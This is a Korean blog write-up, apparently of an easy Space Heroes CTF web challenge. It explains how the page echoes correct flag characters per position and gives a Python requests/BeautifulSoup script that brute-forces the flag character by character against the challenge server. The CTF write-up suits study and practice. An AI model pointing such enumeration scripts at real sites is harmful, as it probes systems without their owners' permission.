쉬움 난이도의 웹해킹 문제
개인적으로 재밌게 푼 문제였다.
역시나 다른 웹해킹 문제들처럼 소스는 주어지지 않고
문제 페이지 주소만 주어진다.
문제 페이지에 접속했을때 가장 먼저 보이는 화면이다.
주목할것은 URL과 밑에 보이는 화면인데
URL을 보면 spaceheroes-web-flag.chals.io/?flag=s 로
flag 라는 변수에 s라는 값을 넣어서 서버로 전달하고 있다.
밑에 검은 네모칸에는 flag 변수에 넣은 s 가 출력되는것을 볼 수 있다.
플래그 포맷이 shctf 로 시작하기 때문에
URL에 spaceheroes-web-flag.chals.io/?flag=shctf 라고 넣어보았다.
그랬더니 아까 아무것도 없었던 네모칸에 s h c t f 가 각각 쓰여지게 되었다.
여기서 알아낼 수 있는 것은
각각의 네모칸은 플래그의 각 글자가 들어가는 칸이고,
URL에 알맞은 칸에 알맞은 문자를 넣어야 해당 문자열이 출력된다는 것이다.
본격적으로 exploit 코드를 짜기 전 테스트를 해보았다.
플래그에 절대 들어갈리가 없는 문자(` / 물결표시 위에있는것) 를 넣고 그다음 h를 넣어보았다.
(spaceheroes-web-flag.chals.io/?flag=`h)
그랬더니 첫번째 칸은 아무것도 안뜨고, 두번째 칸은 h가 맞기때문에 출력이 된 것을 볼 수 있다.
다음으로 spaceheroes-web-flag.chals.io/?flag=``c 를 입력하면
첫번째, 두번째 칸은 빈칸이 되고, 세번째 칸은 c가 출력되는것을 확인할 수 있다.
지금까지 알아낸 것을 토대로 코딩을 한다.
import requests
from bs4 import BeautifulSoup as bs
string = 'abcdefghijklmnopqrstuvwxyz{}ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789!@#$%^&*()_+/'
i = 0
flag = ''
for i in range(0,26):
for j in range(len(string)):
url = 'https://spaceheroes-web-flag.chals.io/?flag='
url = url + ('`'*i) + string[j]
print(url)
r = requests.get(url)
soup = bs(r.text, 'html.parser')
div = soup.find('div')
if string[j] in div.text:
print(string[j])
flag += string[j]
break
else:
print('nono', i, string[j])
print(flag)
파이썬을 이용했고, requests와 beautifulsoup 모듈을 사용했다.
requests 모듈은 웹 요청 패킷을 보내고 응답 패킷을 받는 역할을 하고
beautifulsoup는 requests로 받은 응답 패킷을 파싱해주는 역할을 한다.
먼저 string 변수를 선언해 플래그에 들어갈만한 문자열들을 넣어준다.
2중 for문을 이용해서 요청할 URL을
spaceheroes-web-flag.chals.io/?flag=`a
spaceheroes-web-flag.chals.io/?flag=`b
spaceheroes-web-flag.chals.io/?flag=`c
. . .
spaceheroes-web-flag.chals.io/?flag=`/
spaceheroes-web-flag.chals.io/?flag=``a
spaceheroes-web-flag.chals.io/?flag=``b
이런식으로 생성해서 문제 서버로 요청한다.
요청을 받으면 beautifulsoup를 이용해서 파싱하고
<div> 태그안에 URL에서 요청한 문자열이 있다면 flag 변수에 하나씩 추가하게 된다.
코드를 실행시키고 잠시 기다리면
플래그가 출력되는것을 볼 수 있다.
'CTF > 웹해킹' 카테고리의 다른 글
[HackIM CTF] Texnology - 웹해킹 / LaTeX (36) | 2022.04.10 |
---|---|
[Space Heroes CTF] Mysterious Broadcast - 웹해킹 / Requests / Binary (24) | 2022.04.09 |
[Space Heroes CTF] Space Buds - 웹해킹 / 쿠키변조 (32) | 2022.04.08 |
[Space Heroes CTF] R2D2 - 웹해킹 / robots.txt (48) | 2022.04.07 |
[Space Heroes CTF] Space Traveler - 웹해킹 / 자바스크립트 (29) | 2022.04.06 |